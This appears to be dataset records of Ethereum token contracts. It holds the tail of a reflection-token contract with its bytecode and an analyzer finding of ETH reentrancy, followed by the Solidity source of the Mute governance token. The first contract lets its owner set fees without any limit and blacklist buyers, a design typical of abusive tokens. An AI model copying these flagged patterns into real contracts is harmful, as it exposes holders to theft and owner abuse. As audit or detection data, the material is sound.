uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; launchBlock = block.number; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f1461054b578063dd62ed3e14610561578063ea1644d5146105a7578063f2fde38b146105c757600080fd5b8063a9059cbb146104c6578063bfd79284146104e6578063c3c8cd8014610516578063c492f0461461052b57600080fd5b80638f9a55c0116100d15780638f9a55c01461044357806395d89b411461045957806398a5c31514610486578063a2a957bb146104a657600080fd5b80637d1db4a5146103ef5780638da5cb5b146104055780638f70ccf71461042357600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038557806370a082311461039a578063715018a6146103ba57806374010ece146103cf57600080fd5b8063313ce5671461030957806349bd5a5e146103255780636b999053146103455780636d8aa8f81461036557600080fd5b80631694505e116101ab5780631694505e1461027657806318160ddd146102ae57806323b872dd146102d35780632fd689e3146102f357600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024657600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611b65565b6105e7565b005b34801561020a57600080fd5b5060408051808201909152600d81526c2632bb349020b1b5b2b936b0b760991b60208201525b60405161023d9190611c97565b60405180910390f35b34801561025257600080fd5b50610266610261366004611ab5565b610686565b604051901515815260200161023d565b34801561028257600080fd5b50601554610296906001600160a01b031681565b6040516001600160a01b03909116815260200161023d565b3480156102ba57600080fd5b50670de0b6b3a76400005b60405190815260200161023d565b3480156102df57600080fd5b506102666102ee366004611a74565b61069d565b3480156102ff57600080fd5b506102c560195481565b34801561031557600080fd5b506040516009815260200161023d565b34801561033157600080fd5b50601654610296906001600160a01b031681565b34801561035157600080fd5b506101fc610360366004611a01565b610706565b34801561037157600080fd5b506101fc610380366004611c31565b610751565b34801561039157600080fd5b506101fc610799565b3480156103a657600080fd5b506102c56103b5366004611a01565b6107e4565b3480156103c657600080fd5b506101fc610806565b3480156103db57600080fd5b506101fc6103ea366004611c4c565b61087a565b3480156103fb57600080fd5b506102c560175481565b34801561041157600080fd5b506000546001600160a01b0316610296565b34801561042f57600080fd5b506101fc61043e366004611c31565b6108a9565b34801561044f57600080fd5b506102c560185481565b34801561046557600080fd5b506040805180820190915260048152634c45564960e01b6020820152610230565b34801561049257600080fd5b506101fc6104a1366004611c4c565b6108f5565b3480156104b257600080fd5b506101fc6104c1366004611c65565b610924565b3480156104d257600080fd5b506102666104e1366004611ab5565b610962565b3480156104f257600080fd5b50610266610501366004611a01565b60116020526000908152604090205460ff1681565b34801561052257600080fd5b506101fc61096f565b34801561053757600080fd5b506101fc610546366004611ae1565b6109c3565b34801561055757600080fd5b506102c560085481565b34801561056d57600080fd5b506102c561057c366004611a3b565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105b357600080fd5b506101fc6105c2366004611c4c565b610a64565b3480156105d357600080fd5b506101fc6105e2366004611a01565b610a93565b6000546001600160a01b0316331461061a5760405162461bcd60e51b815260040161061190611cec565b60405180910390fd5b60005b81518110156106825760016011600084848151811061063e5761063e611e33565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061067a81611e02565b91505061061d565b5050565b6000610693338484610b7d565b5060015b92915050565b60006106aa848484610ca1565b6106fc84336106f785604051806060016040528060288152602001611e75602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061125f565b610b7d565b5060019392505050565b6000546001600160a01b031633146107305760405162461bcd60e51b815260040161061190611cec565b6001600160a01b03166000908152601160205260409020805460ff19169055565b6000546001600160a01b0316331461077b5760405162461bcd60e51b815260040161061190611cec565b60168054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b031614806107ce57506014546001600160a01b0316336001600160a01b0316145b6107d757600080fd5b476107e181611299565b50565b6001600160a01b0381166000908152600260205260408120546106979061131e565b6000546001600160a01b031633146108305760405162461bcd60e51b815260040161061190611cec565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108a45760405162461bcd60e51b815260040161061190611cec565b601755565b6000546001600160a01b031633146108d35760405162461bcd60e51b815260040161061190611cec565b60168054911515600160a01b0260ff60a01b1990921691909117905543600855565b6000546001600160a01b0316331461091f5760405162461bcd60e51b815260040161061190611cec565b601955565b6000546001600160a01b0316331461094e5760405162461bcd60e51b815260040161061190611cec565b600993909355600b91909155600a55600c55565b6000610693338484610ca1565b6013546001600160a01b0316336001600160a01b031614806109a457506014546001600160a01b0316336001600160a01b0316145b6109ad57600080fd5b60006109b8306107e4565b90506107e1816113a2565b6000546001600160a01b031633146109ed5760405162461bcd60e51b815260040161061190611cec565b60005b82811015610a5e578160056000868685818110610a0f57610a0f611e33565b9050602002016020810190610a249190611a01565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a5681611e02565b9150506109f0565b50505050565b6000546001600160a01b03163314610a8e5760405162461bcd60e51b815260040161061190611cec565b601855565b6000546001600160a01b03163314610abd5760405162461bcd60e51b815260040161061190611cec565b6001600160a01b038116610b225760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610611565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bdf5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610611565b6001600160a01b038216610c405760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610611565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d055760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610611565b6001600160a01b038216610d675760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610611565b60008111610dc95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610611565b6000546001600160a01b03848116911614801590610df557506000546001600160a01b03838116911614155b1561115857601654600160a01b900460ff16610e8e576000546001600160a01b03848116911614610e8e5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610611565b601754811115610ee05760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610611565b6001600160a01b03831660009081526011602052604090205460ff16158015610f2257506001600160a01b03821660009081526011602052604090205460ff16155b610f7a5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610611565b600854610f88906002611d92565b4311158015610fa457506016546001600160a01b038481169116145b8015610fbe57506015546001600160a01b03838116911614155b8015610fd357506001600160a01b0382163014155b15610ffc576001600160a01b0382166000908152601160205260409020805460ff191660011790555b6016546001600160a01b03838116911614611081576018548161101e846107e4565b6110289190611d92565b106110815760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610611565b600061108c306107e4565b6019546017549192508210159082106110a55760175491505b8080156110bc5750601654600160a81b900460ff16155b80156110d657506016546001600160a01b03868116911614155b80156110eb5750601654600160b01b900460ff165b801561111057506001600160a01b03851660009081526005602052604090205460ff16155b801561113557506001600160a01b03841660009081526005602052604090205460ff16155b1561115557611143826113a2565b4780156111535761115347611299565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061119a57506001600160a01b03831660009081526005602052604090205460ff165b806111cc57506016546001600160a01b038581169116148015906111cc57506016546001600160a01b03848116911614155b156111d957506000611253565b6016546001600160a01b03858116911614801561120457506015546001600160a01b03848116911614155b1561121657600954600d55600a54600e555b6016546001600160a01b03848116911614801561124157506015546001600160a01b03858116911614155b1561125357600b54600d55600c54600e555b610a5e8484848461152b565b600081848411156112835760405162461bcd60e51b81526004016106119190611c97565b5060006112908486611deb565b95945050505050565b6013546001600160a01b03166108fc6112b3836002611559565b6040518115909202916000818181858888f193505050501580156112db573d6000803e3d6000fd5b506014546001600160a01b03166108fc6112f6836002611559565b6040518115909202916000818181858888f19350505050158015610682573d6000803e3d6000fd5b60006006548211156113855760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610611565b600061138f61159b565b905061139b8382611559565b9392505050565b6016805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113ea576113ea611e33565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561143e57600080fd5b505afa158015611452573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114769190611a1e565b8160018151811061148957611489611e33565b6001600160a01b0392831660209182029290920101526015546114af9130911684610b7d565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac947906114e8908590600090869030904290600401611d21565b600060405180830381600087803b15801561150257600080fd5b505af1158015611516573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b80611538576115386115be565b6115438484846115ec565b80610a5e57610a5e600f54600d55601054600e55565b600061139b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116e3565b60008060006115a8611711565b90925090506115b78282611559565b9250505090565b600d541580156115ce5750600e54155b156115d557565b600d8054600f55600e805460105560009182905555565b6000806000806000806115fe87611751565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061163090876117ae565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461165f90866117f0565b6001600160a01b0389166000908152600260205260409020556116818161184f565b61168b8483611899565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516116d091815260200190565b60405180910390a3505050505050505050565b600081836117045760405162461bcd60e51b81526004016106119190611c97565b5060006112908486611daa565b6006546000908190670de0b6b3a764000061172c8282611559565b82101561174857505060065492670de0b6b3a764000092509050565b90939092509050565b600080600080600080600080600061176e8a600d54600e546118bd565b925092509250600061177e61159b565b905060008060006117918e878787611912565b919e509c509a509598509396509194505050505091939550919395565b600061139b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061125f565b6000806117fd8385611d92565b90508381101561139b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610611565b600061185961159b565b905060006118678383611962565b3060009081526002602052604090205490915061188490826117f0565b30600090815260026020526040902055505050565b6006546118a690836117ae565b6006556007546118b690826117f0565b6007555050565b60008080806118d760646118d18989611962565b90611559565b905060006118ea60646118d18a89611962565b90506000611902826118fc8b866117ae565b906117ae565b9992985090965090945050505050565b60008080806119218886611962565b9050600061192f8887611962565b9050600061193d8888611962565b9050600061194f826118fc86866117ae565b939b939a50919850919650505050505050565b60008261197157506000610697565b600061197d8385611dcc565b90508261198a8583611daa565b1461139b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610611565b80356119ec81611e5f565b919050565b803580151581146119ec57600080fd5b600060208284031215611a1357600080fd5b813561139b81611e5f565b600060208284031215611a3057600080fd5b815161139b81611e5f565b60008060408385031215611a4e57600080fd5b8235611a5981611e5f565b91506020830135611a6981611e5f565b809150509250929050565b600080600060608486031215611a8957600080fd5b8335611a9481611e5f565b92506020840135611aa481611e5f565b929592945050506040919091013590565b60008060408385031215611ac857600080fd5b8235611ad381611e5f565b946020939093013593505050565b600080600060408486031215611af657600080fd5b833567ffffffffffffffff80821115611b0e57600080fd5b818601915086601f830112611b2257600080fd5b813581811115611b3157600080fd5b8760208260051b8501011115611b4657600080fd5b602092830195509350611b5c91860190506119f1565b90509250925092565b60006020808385031215611b7857600080fd5b823567ffffffffffffffff80821115611b9057600080fd5b818501915085601f830112611ba457600080fd5b813581811115611bb657611bb6611e49565b8060051b604051601f19603f83011681018181108582111715611bdb57611bdb611e49565b604052828152858101935084860182860187018a1015611bfa57600080fd5b600095505b83861015611c2457611c10816119e1565b855260019590950194938601938601611bff565b5098975050505050505050565b600060208284031215611c4357600080fd5b61139b826119f1565b600060208284031215611c5e57600080fd5b5035919050565b60008060008060808587031215611c7b57600080fd5b5050823594602084013594506040840135936060013592509050565b600060208083528351808285015260005b81811015611cc457858101830151858201604001528201611ca8565b81811115611cd6576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d715784516001600160a01b031683529383019391830191600101611d4c565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611da557611da5611e1d565b500190565b600082611dc757634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611de657611de6611e1d565b500290565b600082821015611dfd57611dfd611e1d565b500390565b6000600019821415611e1657611e16611e1d565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107e157600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b64654c9134fe9318b0aebeda7163f16b2e235017c7dced8ad23ecc49a957b4d64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
2,763
0xc4bef0bc52d0c6d82b4275cff8b96a1c16fdb49a
/** *Submitted for verification at Etherscan.io on 2021-01-29 */ // SPDX-License-Identifier: MIT pragma solidity 0.6.12; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract MuteGovernance { using SafeMath for uint256; mapping (address => address) internal _delegates; struct Checkpoint { uint32 fromBlock; uint256 votes; } mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; mapping (address => uint32) public numCheckpoints; bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); mapping (address => uint) public nonces; event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); function delegates(address delegator) external view returns (address) { return _delegates[delegator]; } function getCurrentVotes(address account) external view returns (uint256) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } function getPriorVotes(address account, uint blockNumber) external view returns (uint256) { require(blockNumber < block.number, "Gov::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { uint32 srcRepNum = numCheckpoints[srcRep]; uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint256 srcRepNew = srcRepOld.sub(amount); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { uint32 dstRepNum = numCheckpoints[dstRep]; uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint256 dstRepNew = dstRepOld.add(amount); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes) internal { uint32 blockNumber = safe32(block.number, "Gov::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } } contract Mute is MuteGovernance { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint16 public TAX_FRACTION; address public taxReceiveAddress; bool public isTaxEnabled; mapping(address => bool) public nonTaxedAddresses; address private _owner = address(0); mapping (address => bool) private _minters; uint256 public vaultThreshold = 10000e18; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); modifier onlyOwner() { require(msg.sender == _owner, "Mute::OnlyOwner: Not the owner"); _; } modifier onlyMinter() { require(_minters[msg.sender] == true); _; } function initialize() external { require(_owner == address(0), "Mute::Initialize: Contract has already been initialized"); _owner = msg.sender; _name = "Mute.io"; _symbol = "MUTE"; _decimals = 18; } function setVaultThreshold(uint256 _vaultThreshold) external onlyOwner { vaultThreshold = _vaultThreshold; } function addMinter(address account) external onlyOwner { require(account != address(0)); _minters[account] = true; } function removeMinter(address account) external onlyOwner { require(account != address(0)); _minters[account] = false; } function setTaxReceiveAddress(address _taxReceiveAddress) external onlyOwner { taxReceiveAddress = _taxReceiveAddress; } function setAddressTax(address _address, bool ignoreTax) external onlyOwner { nonTaxedAddresses[_address] = ignoreTax; } function setTaxFraction(uint16 _tax_fraction) external onlyOwner { TAX_FRACTION = _tax_fraction; } function owner() public view returns (address) { return _owner; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function allowance(address owner_, address spender) public view returns (uint256) { return _allowances[owner_][spender]; } function transfer(address recipient, uint256 amount) external returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "Mute: transfer amount exceeds allowance")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "Mute: transfer from the zero address"); require(recipient != address(0), "Mute: transfer to the zero address"); if(nonTaxedAddresses[sender] == true || TAX_FRACTION == 0 || balanceOf(taxReceiveAddress) > vaultThreshold){ _balances[sender] = _balances[sender].sub(amount, "Mute: transfer amount exceeds balance"); if(balanceOf(taxReceiveAddress) > vaultThreshold){ IMuteVault(taxReceiveAddress).reward(); } _balances[recipient] = _balances[recipient].add(amount); _moveDelegates(_delegates[sender], _delegates[recipient], amount); emit Transfer(sender, recipient, amount); return; } uint256 feeAmount = amount.mul(TAX_FRACTION).div(100); uint256 newAmount = amount.sub(feeAmount); require(amount == feeAmount.add(newAmount), "Mute: math is broken"); _balances[sender] = _balances[sender].sub(amount, "Mute: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(newAmount); _moveDelegates(_delegates[sender], _delegates[recipient], newAmount); _balances[taxReceiveAddress] = _balances[taxReceiveAddress].add(feeAmount); _moveDelegates(_delegates[sender], _delegates[taxReceiveAddress], feeAmount); emit Transfer(sender, recipient, newAmount); emit Transfer(sender, taxReceiveAddress, feeAmount); } function approve(address spender, uint256 amount) public returns (bool) { _approve(msg.sender, spender, amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "Mute: decreased allowance below zero")); return true; } function _approve(address owner_, address spender, uint256 amount) internal { require(owner_ != address(0), "Mute: approve from the zero address"); require(spender != address(0), "Mute: approve to the zero address"); _allowances[owner_][spender] = amount; emit Approval(owner_, spender, amount); } function Burn(uint256 amount) external returns (bool) { require(msg.sender != address(0), "Mute: burn from the zero address"); _moveDelegates(_delegates[msg.sender], address(0), amount); _balances[msg.sender] = _balances[msg.sender].sub(amount, "Mute: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(msg.sender, address(0), amount); return true; } function Mint(address account, uint256 amount) external onlyMinter returns (bool) { require(account != address(0), "Mute: mint to the zero address"); _moveDelegates(address(0), _delegates[account], amount); _balances[account] = _balances[account].add(amount); _totalSupply = _totalSupply.add(amount); emit Transfer(address(0), account, amount); return true; } function delegate(address delegatee) external { return _delegate(msg.sender, delegatee); } function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) external { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name())), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "Mute::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "Mute::delegateBySig: invalid nonce"); require(now <= expiry, "Mute::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } function _delegate(address delegator, address delegatee) internal { address currentDelegate = _delegates[delegator]; uint256 delegatorBalance = balanceOf(delegator); _delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } } interface IMuteVault { function reward() external returns (bool); }
